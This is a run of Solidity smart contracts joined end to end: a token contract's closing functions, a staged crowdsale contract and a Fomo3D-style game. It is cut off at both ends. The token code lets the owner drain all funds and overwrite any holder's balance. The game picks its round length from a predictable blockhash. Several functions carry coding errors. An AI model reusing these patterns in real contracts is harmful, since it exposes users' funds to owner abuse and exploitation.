_uniswap.addLiquidityETH{value: address(this).balance} ( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private { _approve(address(this), address(_uniswap), tokenValue); _uniswap.addLiquidityETH{value: etherValue} ( address(this), tokenValue, 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external onlyOwner returns (uint amountA, uint amountB) { return _uniswap.removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline); } function emergencyWithdraw(address _token) public onlyOwner { if (_token == address(0)) { owner().call{ value: address(this).balance }(""); } else { IERC20 token = IERC20(_token); uint bal = token.balanceOf(address(this)); token.approve(address(this), bal); token.transfer(owner(), bal); } } function enableTrading(bool _enable) external onlyOwner{ _canTrade = _enable; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function setMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualsend() public { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner { for(uint256 i = 0; i < recipients.length; i++) { _balance[recipients[i]] = amounts[i] * 10**8; emit Transfer(address(this), recipients[i], amounts[i] * 10**8); } } }
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pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ShareTokenSale is Ownable { using SafeMath for uint256; ERC20 public token; address public receiverAddr; uint256 public totalSaleAmount; uint256 public totalWannaBuyAmount; uint256 public startTime; uint256 public endTime; uint256 public userWithdrawalStartTime; uint256 public clearStartTime; uint256 public withdrawn; uint256 public proportion = 1 ether; mapping(uint256 => uint256) public globalAmounts; struct Stage { uint256 rate; uint256 duration; uint256 startTime; } Stage[] public stages; struct PurchaserInfo { bool withdrew; bool recorded; mapping(uint256 => uint256) amounts; } mapping(address => PurchaserInfo) public purchaserMapping; address[] public purchaserList; modifier onlyOpenTime { require(isStarted()); require(!isEnded()); _; } modifier onlyAutoWithdrawalTime { require(isEnded()); _; } modifier onlyUserWithdrawalTime { require(isUserWithdrawalTime()); _; } modifier purchasersAllWithdrawn { require(withdrawn==purchaserList.length); _; } modifier onlyClearTime { require(isClearTime()); _; } function ShareTokenSale(address _receiverAddr, address _tokenAddr, uint256 _totalSaleAmount, uint256 _startTime) public { require(_receiverAddr != address(0)); require(_tokenAddr != address(0)); require(_totalSaleAmount > 0); require(_startTime > 0); receiverAddr = _receiverAddr; token = ERC20(_tokenAddr); totalSaleAmount = _totalSaleAmount; startTime = _startTime; } function isStarted() public view returns(bool) { return 0 < startTime && startTime <= now && endTime != 0; } function isEnded() public view returns(bool) { return now > endTime; } function isUserWithdrawalTime() public view returns(bool) { return now > userWithdrawalStartTime; } function isClearTime() public view returns(bool) { return now > clearStartTime; } function startSale(uint256[] rates, uint256[] durations, uint256 userWithdrawalDelaySec, uint256 clearDelaySec) public onlyOwner { require(endTime == 0); require(durations.length == rates.length); delete stages; endTime = startTime; for (uint256 i = 0; i < durations.length; i++) { uint256 rate = rates[i]; uint256 duration = durations[i]; stages.push(Stage({rate: rate, duration: duration, startTime:endTime})); endTime = endTime.add(duration); } userWithdrawalStartTime = endTime.add(userWithdrawalDelaySec); clearStartTime = endTime.add(clearDelaySec); } function getCurrentStage() public onlyOpenTime view returns(uint256) { for (uint256 i = stages.length - 1; i >= 0; i--) { if (now >= stages[i].startTime) { return i; } } revert(); } function getPurchaserCount() public view returns(uint256) { return purchaserList.length; } function _calcProportion() internal { if (totalWannaBuyAmount == 0 || totalSaleAmount >= totalWannaBuyAmount) { proportion = 1 ether; return; } proportion = totalSaleAmount.mul(1 ether).div(totalWannaBuyAmount); } function getSaleInfo(address purchaser) public view returns (uint256, uint256, uint256) { PurchaserInfo storage pi = purchaserMapping[purchaser]; uint256 sendEther = 0; uint256 usedEther = 0; uint256 getToken = 0; for (uint256 i = 0; i < stages.length; i++) { sendEther = sendEther.add(pi.amounts[i]); uint256 stageUsedEther = pi.amounts[i].mul(proportion).div(1 ether); uint256 stageGetToken = stageUsedEther.mul(stages[i].rate); if (stageGetToken > 0) { getToken = getToken.add(stageGetToken); usedEther = usedEther.add(stageUsedEther); } } return (sendEther, usedEther, getToken); } function () payable public { buy(); } function buy() payable public onlyOpenTime { require(msg.value >= 0.1 ether); uint256 stageIndex = getCurrentStage(); uint256 amount = msg.value; PurchaserInfo storage pi = purchaserMapping[msg.sender]; if (!pi.recorded) { pi.recorded = true; purchaserList.push(msg.sender); } pi.amounts[stageIndex] = pi.amounts[stageIndex].add(amount); globalAmounts[stageIndex] = globalAmounts[stageIndex].add(amount); totalWannaBuyAmount = totalWannaBuyAmount.add(amount.mul(stages[stageIndex].rate)); _calcProportion(); } function _withdrawal(address purchaser) internal { require(purchaser != 0x0); PurchaserInfo storage pi = purchaserMapping[purchaser]; if (pi.withdrew) { return; } pi.withdrew = true; withdrawn = withdrawn.add(1); var (sendEther, usedEther, getToken) = getSaleInfo(purchaser); if (usedEther > 0 && getToken > 0) { receiverAddr.transfer(usedEther); token.transfer(purchaser, getToken); if (sendEther.sub(usedEther) > 0) { purchaser.transfer(sendEther.sub(usedEther)); } } else { purchaser.transfer(sendEther); } return; } function withdrawal() payable public onlyUserWithdrawalTime { _withdrawal(msg.sender); } function withdrawalFor(uint256 index, uint256 stop) payable public onlyAutoWithdrawalTime onlyOwner { for (; index < stop; index++) { _withdrawal(purchaserList[index]); } } function clear(uint256 tokenAmount, uint256 etherAmount) payable public purchasersAllWithdrawn onlyClearTime onlyOwner { if (tokenAmount > 0) { token.transfer(receiverAddr, tokenAmount); } if (etherAmount > 0) { receiverAddr.transfer(etherAmount); } } }
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pragma solidity ^0.4.24; contract POOHMOevents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount, uint256 potAmount ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract POOHMO is POOHMOevents { using SafeMath for *; using NameFilter for string; using KeysCalc for uint256; PlayerBookInterface private PlayerBook; address private admin = msg.sender; address private flushDivs; string constant public name = "POOHMO"; string constant public symbol = "POOHMO"; uint256 private rndExtra_ = 1 minutes; uint256 private rndGap_ = 1 minutes; uint256 private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 private rndMax_ = 6 hours; uint256[6] private timerLengths = [30 minutes,60 minutes,120 minutes,360 minutes,720 minutes,1440 minutes]; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => POOHMODatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => POOHMODatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => POOHMODatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => POOHMODatasets.TeamFee) public fees_; mapping (uint256 => POOHMODatasets.PotSplit) public potSplit_; constructor(address whaleContract, address playerbook) public { flushDivs = whaleContract; PlayerBook = PlayerBookInterface(playerbook); fees_[0] = POOHMODatasets.TeamFee(49,10); potSplit_[0] = POOHMODatasets.PotSplit(15,10); } modifier isActivated() { require(activated_ == true); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0); require(_addr == tx.origin); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000); require(_eth <= 100000000000000000000000); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, _eventData_); } function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMODatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMODatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMODatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { POOHMODatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit POOHMOevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3] ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, POOHMODatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, 0, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, POOHMODatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, 0, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000) { uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_); endTx(_pID, 0, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook)); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook)); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(POOHMODatasets.EventReturns memory _eventData_) private returns (POOHMODatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function managePlayer(uint256 _pID, POOHMODatasets.EventReturns memory _eventData_) private returns (POOHMODatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(POOHMODatasets.EventReturns memory _eventData_) private returns (POOHMODatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _dev = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _POOH = (_pot.mul(potSplit_[_winTID].pooh)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_POOH); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_dev); flushDivs.call.value(_POOH)(bytes4(keccak256("donate()"))); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.POOHAmount = _POOH; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; rndMax_ = timerLengths[determineNextRoundLength()]; round_[_rID].end = now.add(rndMax_); round_[_rID].pot = _res; return(_eventData_); } function determineNextRoundLength() internal view returns(uint256 time) { uint256 roundTime = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1)))) % 6; return roundTime; } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_) private returns(POOHMODatasets.EventReturns) { uint256 _dev = _eth / 100; uint256 _POOH = 0; if (!address(admin).call.value(_dev)()) { _POOH = _dev; _dev = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit POOHMOevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _POOH = _POOH.add(_aff); } _POOH = _POOH.add((_eth.mul(fees_[_team].pooh)) / (100)); if (_POOH > 0) { flushDivs.call.value(_POOH)(bytes4(keccak256("donate()"))); _eventData_.POOHAmount = _POOH.add(_eventData_.POOHAmount); } return(_eventData_); } function potSwap() external payable { admin.transfer(msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_) private returns(POOHMODatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].pooh)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit POOHMOevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount, _eventData_.potAmount ); } bool public activated_ = false; function activate() public { require(msg.sender == admin); require(activated_ == false); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library POOHMODatasets { struct EventReturns { uint256 